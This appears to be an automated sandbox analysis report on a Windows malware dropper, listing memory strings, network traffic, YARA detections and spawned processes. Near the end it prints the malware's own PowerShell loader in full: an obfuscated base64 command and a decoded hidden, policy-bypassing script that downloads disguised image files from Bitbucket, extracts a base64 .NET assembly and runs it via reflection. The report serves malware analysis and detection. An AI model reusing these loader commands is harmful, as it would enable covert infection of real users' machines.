Source: powershell.exe, 00000005.00000002.1273855820.0000027132F01000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1273855820.0000027132DAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000005.00000002.1273855820.0000027132CE5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1273855820.0000027132D64000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1273855820.0000027132CED000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1273855820.0000027132CE9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://admin.atlassian.com
Source: powershell.exe, 00000004.00000002.1303662906.0000017DBCD5D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1303662906.0000017DBCDAA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1273855820.00000271315F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000005.00000002.1273855820.0000027132CED000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1273855820.0000027132CE9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.bitbucket.org
Source: powershell.exe, 00000005.00000002.1273855820.0000027132CC9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aui-cdn.atlassian.com/
Source: powershell.exe, 00000005.00000002.1273855820.0000027132CC9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/
Source: powershell.exe, 00000005.00000002.1273855820.0000027132D64000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1273855820.0000027132CED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/3ff600212c86/
Source: powershell.exe, 00000005.00000002.1273855820.0000027132CED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/3ff600212c86/css/entry/ad
Source: powershell.exe, 00000005.00000002.1273855820.0000027132D64000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1273855820.0000027132CED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/3ff600212c86/css/entry/ap
Source: powershell.exe, 00000005.00000002.1273855820.0000027132D64000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1273855820.0000027132CED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/3ff600212c86/css/entry/ve
Source: powershell.exe, 00000005.00000002.1273855820.0000027132D64000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/3ff600212c86/dist/webpac
Source: powershell.exe, 00000005.00000002.1273855820.0000027132CE9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/3ff600212c86/dist/webpack
Source: powershell.exe, 00000005.00000002.1273855820.0000027132D64000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/3ff600212c86/dist/webpacp
Source: powershell.exe, 00000005.00000002.1273855820.0000027132D64000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1273855820.0000027132CED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/3ff600212c86/img/default_
Source: powershell.exe, 00000005.00000002.1273855820.0000027132CED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/3ff600212c86/img/logos/bi
Source: powershell.exe, 00000005.00000002.1273855820.0000027132CE5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1273855820.0000027132D64000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1273855820.0000027132CED000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1273855820.0000027132CE9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/3ff600212c86/jsi18n/en/dj
Source: powershell.exe, 00000005.00000002.1273855820.0000027132CC9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bbc-object-storage--frontbucket.us-east-1.staging.public.atl-paas.net/
Source: powershell.exe, 00000005.00000002.1273855820.0000027132CC9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bbc-object-storage--frontbucket.us-east-1.staging.public.atl-paas.net/;
Source: powershell.exe, 00000005.00000002.1273855820.0000027132CED000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1273855820.0000027132CE9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bitbucket.org
Source: powershell.exe, 00000005.00000002.1273855820.0000027132CE5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1273855820.0000027132D64000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1273855820.0000027132CED000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1273855820.0000027132CE9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bitbucket.org/blog/announcing-our-new-ci-cd-runtime-with-up-to-8x-faster-builds
Source: powershell.exe, 00000005.00000002.1273855820.0000027132CE5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1273855820.0000027132D64000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1273855820.0000027132CED000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1273855820.0000027132CE9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bitbucket.org/blog/wp-json/wp/v2/posts?categories=196&context=embed&per_page=6&orderby=date&
Source: powershell.exe, 00000005.00000002.1273855820.0000027132CE5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1273855820.0000027132D64000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1273855820.0000027132CED000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1273855820.0000027132CE9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bitbucket.org/gateway/api/emoji/
Source: powershell.exe, 00000004.00000002.1303662906.0000017DBD2DE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1273729382.0000027131125000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1293487049.000002714973F000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1294975015.0000027149945000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1272995587.000002712F640000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1273126244.000002712F6E2000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1273855820.0000027131825000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1273126244.000002712F712000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1273126244.000002712F77A000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1273855820.00000271315F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1272995587.000002712F645000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1273855820.0000027132DA2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1273126244.000002712F6EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bitbucket.org/hgdfhdfgd/test/downloads/new_image.jpg?14441723
Source: powershell.exe, 00000004.00000002.1303662906.0000017DBD2DE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1273729382.0000027131125000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1293487049.000002714973F000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1294975015.0000027149945000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1272995587.000002712F640000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1273126244.000002712F6E2000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1273855820.0000027131825000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1273126244.000002712F712000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1273126244.000002712F77A000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1273855820.00000271315F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1272995587.000002712F645000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1273855820.0000027132DA2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1273126244.000002712F6EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bitbucket.org/hgdfhdfgd/test/downloads/new_image2.jpg?14461721
Source: powershell.exe, 00000005.00000002.1273855820.0000027132CE5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1273855820.0000027132D64000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1273855820.0000027132CED000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1273855820.0000027132CE9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bitbucket.status.atlassian.com/
Source: powershell.exe, 00000005.00000002.1273855820.0000027132D64000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1273855820.0000027132CED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bqlf8qjztdtr.statuspage.io
Source: powershell.exe, 00000005.00000002.1273855820.0000027132CC9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.cookielaw.org/
Source: powershell.exe, 00000005.00000002.1290480289.0000027141660000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000005.00000002.1290480289.0000027141660000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000005.00000002.1290480289.0000027141660000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000005.00000002.1273855820.0000027132D64000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1273855820.0000027132CED000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1273855820.0000027132CC9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://dz8aopenkvv6s.cloudfront.net
Source: powershell.exe, 00000005.00000002.1273855820.0000027132F01000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1273855820.0000027132DAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000005.00000002.1273855820.0000027132225000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 00000005.00000002.1273855820.0000027132CE9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://id.atlassian.com/login
Source: powershell.exe, 00000005.00000002.1273855820.0000027132D64000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1273855820.0000027132CED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://id.atlassian.com/login?prompt=login&continue=https%3A%2F%2Fbitbucket.org%2Fhgdfhdfgd%2Ft
Source: powershell.exe, 00000005.00000002.1273855820.0000027132CE9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://id.atlassian.com/logout
Source: powershell.exe, 00000005.00000002.1273855820.0000027132CE9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://id.atlassian.com/manage-profile/
Source: powershell.exe, 00000005.00000002.1273855820.0000027132D64000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1273855820.0000027132CED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://id.atlassian.com/profile/rest/profile"
Source: powershell.exe, 00000005.00000002.1290480289.00000271417A2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1273855820.0000027133078000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1290480289.0000027141660000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000005.00000002.1273855820.0000027132DAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.org
Source: powershell.exe, 00000005.00000002.1273855820.0000027132DAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.orgX
Source: powershell.exe, 00000005.00000002.1273855820.0000027132CE5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1273855820.0000027132D64000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1273855820.0000027132CED000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1273855820.0000027132CE9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://preferences.atlassian.com
Source: powershell.exe, 00000005.00000002.1273855820.0000027132CC9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://remote-app-switcher.prod-east.frontend.public.atl-paas.net
Source: powershell.exe, 00000005.00000002.1273855820.0000027132CC9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://remote-app-switcher.stg-east.frontend.public.atl-paas.net
Source: powershell.exe, 00000005.00000002.1273855820.0000027132CC9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://web-security-reports.services.atlassian.com/csp-report/bb-website
Source: powershell.exe, 00000005.00000002.1273855820.0000027132CED000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1273855820.0000027132CE9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.atlassian.com/try/cloud/signup?bundle=bitbucket

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 49699 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49699
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 443

Source: unknown

HTTPS traffic detected: 185.166.143.50:443 -> 192.168.2.7:49699 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: Process Memory Space: powershell.exe PID: 3724, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 2412, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Source: C:\Users\user\Desktop\nTHivMbGpg.exe	Code function: 0_2_00007FF6FD212D70 GetVersion,GetModuleHandleW,GetProcAddress,ExitWindowsEx,CloseHandle,		0_2_00007FF6FD212D70
Source: C:\Users\user\Desktop\nTHivMbGpg.exe	Code function: 0_2_00007FF6FD211BF4 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,CloseHandle,ExitWindowsEx,		0_2_00007FF6FD211BF4

Source: C:\Users\user\Desktop\nTHivMbGpg.exe	Code function: 0_2_00007FF6FD2141B4	0_2_00007FF6FD2141B4
Source: C:\Users\user\Desktop\nTHivMbGpg.exe	Code function: 0_2_00007FF6FD215F80	0_2_00007FF6FD215F80
Source: C:\Users\user\Desktop\nTHivMbGpg.exe	Code function: 0_2_00007FF6FD2168F0	0_2_00007FF6FD2168F0
Source: C:\Users\user\Desktop\nTHivMbGpg.exe	Code function: 0_2_00007FF6FD212EDC	0_2_00007FF6FD212EDC
Source: C:\Users\user\Desktop\nTHivMbGpg.exe	Code function: 0_2_00007FF6FD211D10	0_2_00007FF6FD211D10
Source: C:\Users\user\Desktop\nTHivMbGpg.exe	Code function: 0_2_00007FF6FD216F14	0_2_00007FF6FD216F14
Source: C:\Users\user\Desktop\nTHivMbGpg.exe	Code function: 0_2_00007FF6FD21366E	0_2_00007FF6FD21366E
Source: C:\Users\user\Desktop\nTHivMbGpg.exe	Code function: 0_2_00007FF6FD215F7E	0_2_00007FF6FD215F7E
Source: C:\Users\user\Desktop\nTHivMbGpg.exe	Code function: 0_2_00007FF6FD211BF4	0_2_00007FF6FD211BF4
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FFAACB425FD	5_2_00007FFAACB425FD

Source: nTHivMbGpg.exe

Static PE information: Resource name: RT_RCDATA type: Microsoft Cabinet archive data, Windows 2000/XP setup, 3604 bytes, 1 file, at 0x2c +A "124.bat", ID 508, number 1, 1 datablock, 0x1503 compression

Source: nTHivMbGpg.exe	Binary or memory string: OriginalFilename vs nTHivMbGpg.exe
Source: nTHivMbGpg.exe, 00000000.00000000.1212198360.00007FF6FD21E000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameWEXTRACT.EXE .MUID vs nTHivMbGpg.exe
Source: nTHivMbGpg.exe	Binary or memory string: OriginalFilenameWEXTRACT.EXE .MUID vs nTHivMbGpg.exe

Source: C:\Windows\System32\cmd.exe	Process created: Commandline size = 4423
Source: C:\Windows\System32\cmd.exe	Process created: Commandline size = 4423			Jump to behavior

Source: Process Memory Space: powershell.exe PID: 3724, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 2412, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: classification engine

Classification label: mal100.spre.evad.winEXE@9/6@1/1

Source: C:\Users\user\Desktop\nTHivMbGpg.exe

Code function: 0_2_00007FF6FD214838 CreateProcessA,WaitForSingleObject,GetExitCodeProcess,CloseHandle,CloseHandle,GetLastError,FormatMessageA,

0_2_00007FF6FD214838

Source: C:\Users\user\Desktop\nTHivMbGpg.exe

Code function: 0_2_00007FF6FD211BF4 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,CloseHandle,ExitWindowsEx,

0_2_00007FF6FD211BF4

Source: C:\Users\user\Desktop\nTHivMbGpg.exe

Code function: 0_2_00007FF6FD2168F0 LocalAlloc,LocalFree,lstrcmpA,LocalFree,GetTempPathA,GetDriveTypeA,GetFileAttributesA,GetDiskFreeSpaceA,MulDiv,GetWindowsDirectoryA,GetFileAttributesA,CreateDirectoryA,SetFileAttributesA,GetWindowsDirectoryA,

0_2_00007FF6FD2168F0

Source: C:\Users\user\Desktop\nTHivMbGpg.exe

Code function: 0_2_00007FF6FD215F80 FindResourceA,LoadResource,LockResource,GetDlgItem,ShowWindow,GetDlgItem,ShowWindow,#20,#22,#23,FreeResource,SendMessageA,

0_2_00007FF6FD215F80

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7104:120:WilError_03

Source: C:\Users\user\Desktop\nTHivMbGpg.exe

File created: C:\Users\user~1\AppData\Local\Temp\IXP000.TMP

Jump to behavior

Source: C:\Users\user\Desktop\nTHivMbGpg.exe

Process created: C:\Windows\System32\cmd.exe cmd /c 124.bat

Source: nTHivMbGpg.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\nTHivMbGpg.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\rundll32.exe "C:\Windows\system32\rundll32.exe" C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\"

Source: nTHivMbGpg.exe

ReversingLabs: Detection: 39%

Source: unknown	Process created: C:\Users\user\Desktop\nTHivMbGpg.exe "C:\Users\user\Desktop\nTHivMbGpg.exe"
Source: C:\Users\user\Desktop\nTHivMbGpg.exe	Process created: C:\Windows\System32\cmd.exe cmd /c 124.bat
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell "$codigo = 'WwBO#GU#d##u#FM#ZQBy#HY#aQBj#GU#U#Bv#Gk#bgB0#E0#YQBu#GE#ZwBl#HI#XQ#6#Do#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b##g#D0#I#Bb#E4#ZQB0#C4#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b#BU#Hk#c#Bl#F0#Og#6#FQ#b#Bz#DE#Mg#N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgB1#G4#YwB0#Gk#bwBu#C##R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#RgBy#G8#bQBM#Gk#bgBr#HM#I#B7#C##c#Bh#HI#YQBt#C##K#Bb#HM#d#By#Gk#bgBn#Fs#XQBd#CQ#b#Bp#G4#awBz#Ck#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#B3#GU#YgBD#Gw#aQBl#G4#d##g#D0#I#BO#GU#dw#t#E8#YgBq#GU#YwB0#C##UwB5#HM#d#Bl#G0#LgBO#GU#d##u#Fc#ZQBi#EM#b#Bp#GU#bgB0#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#C##PQ#g#Ec#ZQB0#C0#UgBh#G4#Z#Bv#G0#I##t#Ek#bgBw#HU#d#BP#GI#agBl#GM#d##g#CQ#b#Bp#G4#awBz#C##LQBD#G8#dQBu#HQ#I##k#Gw#aQBu#Gs#cw#u#Ew#ZQBu#Gc#d#Bo#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgBv#HI#ZQBh#GM#a##g#Cg#J#Bs#Gk#bgBr#C##aQBu#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#Ck#I#B7#C##d#By#Hk#I#B7#C##cgBl#HQ#dQBy#G4#I##k#Hc#ZQBi#EM#b#Bp#GU#bgB0#C4#R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#K##k#Gw#aQBu#Gs#KQ#g#H0#I#Bj#GE#d#Bj#Gg#I#B7#C##YwBv#G4#d#Bp#G4#dQBl#C##fQ#g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I#By#GU#d#B1#HI#bg#g#CQ#bgB1#Gw#b##g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#Gw#aQBu#Gs#cw#g#D0#I#B##Cg#JwBo#HQ#d#Bw#HM#Og#v#C8#YgBp#HQ#YgB1#GM#awBl#HQ#LgBv#HI#Zw#v#Gg#ZwBk#GY#a#Bk#GY#ZwBk#C8#d#Bl#HM#d##v#GQ#bwB3#G4#b#Bv#GE#Z#Bz#C8#bgBl#Hc#XwBp#G0#YQBn#GU#Mg#u#Go#c#Bn#D8#MQ#0#DQ#Ng#x#Dc#Mg#x#Cc#L##g#Cc#a#B0#HQ#c#Bz#Do#Lw#v#GI#aQB0#GI#dQBj#Gs#ZQB0#C4#bwBy#Gc#LwBo#Gc#Z#Bm#Gg#Z#Bm#Gc#Z##v#HQ#ZQBz#HQ#LwBk#G8#dwBu#Gw#bwBh#GQ#cw#v#G4#ZQB3#F8#aQBt#GE#ZwBl#C4#agBw#Gc#Pw#x#DQ#N##0#DE#Nw#y#DM#Jw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##J#Bp#G0#YQBn#GU#QgB5#HQ#ZQBz#C##PQ#g#EQ#bwB3#G4#b#Bv#GE#Z#BE#GE#d#Bh#EY#cgBv#G0#T#Bp#G4#awBz#C##J#Bs#Gk#bgBr#HM#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##I#Bp#GY#I##o#CQ#aQBt#GE#ZwBl#EI#eQB0#GU#cw#g#C0#bgBl#C##J#Bu#HU#b#Bs#Ck#I#B7#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##g#D0#I#Bb#FM#eQBz#HQ#ZQBt#C4#V#Bl#Hg#d##u#EU#bgBj#G8#Z#Bp#G4#ZwBd#Do#OgBV#FQ#Rg#4#C4#RwBl#HQ#UwB0#HI#aQBu#Gc#K##k#Gk#bQBh#Gc#ZQBC#Hk#d#Bl#HM#KQ#7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##g#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#I##9#C##Jw#8#Dw#QgBB#FM#RQ#2#DQ#XwBT#FQ#QQBS#FQ#Pg#+#Cc#Ow#g#CQ#ZQBu#GQ#RgBs#GE#Zw#g#D0#I##n#Dw#P#BC#EE#UwBF#DY#N#Bf#EU#TgBE#D4#Pg#n#Ds#I##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#I##9#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##u#Ek#bgBk#GU#e#BP#GY#K##k#HM#d#Bh#HI#d#BG#Gw#YQBn#Ck#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#GU#bgBk#Ek#bgBk#GU#e##g#D0#I##k#Gk#bQBh#Gc#ZQBU#GU#e#B0#C4#SQBu#GQ#ZQB4#E8#Zg#o#CQ#ZQBu#GQ#RgBs#GE#Zw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##aQBm#C##K##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#I##t#Gc#ZQ#g#D##I##t#GE#bgBk#C##J#Bl#G4#Z#BJ#G4#Z#Bl#Hg#I##t#Gc#d##g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##p#C##ew#g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##g#Cs#PQ#g#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#LgBM#GU#bgBn#HQ#a##7#C##DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#CQ#YgBh#HM#ZQ#2#DQ#T#Bl#G4#ZwB0#Gg#I##9#C
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/hgdfhdfgd/test/downloads/new_image2.jpg?14461721', 'https://bitbucket.org/hgdfhdfgd/test/downloads/new_image.jpg?14441723'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('testpowershell.Home'); $method = $type.GetMethod('la').Invoke($null, [object[]] ('txt.pngSoem/sdaolnwod/rgfd/wgds/gro.tekcubtib//:sptth', '0', 'StartupName', 'RegAsm', '0'))}}"
Source: unknown	Process created: C:\Windows\System32\rundll32.exe "C:\Windows\system32\rundll32.exe" C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\"
Source: C:\Users\user\Desktop\nTHivMbGpg.exe	Process created: C:\Windows\System32\cmd.exe cmd /c 124.bat	Jump to behavior
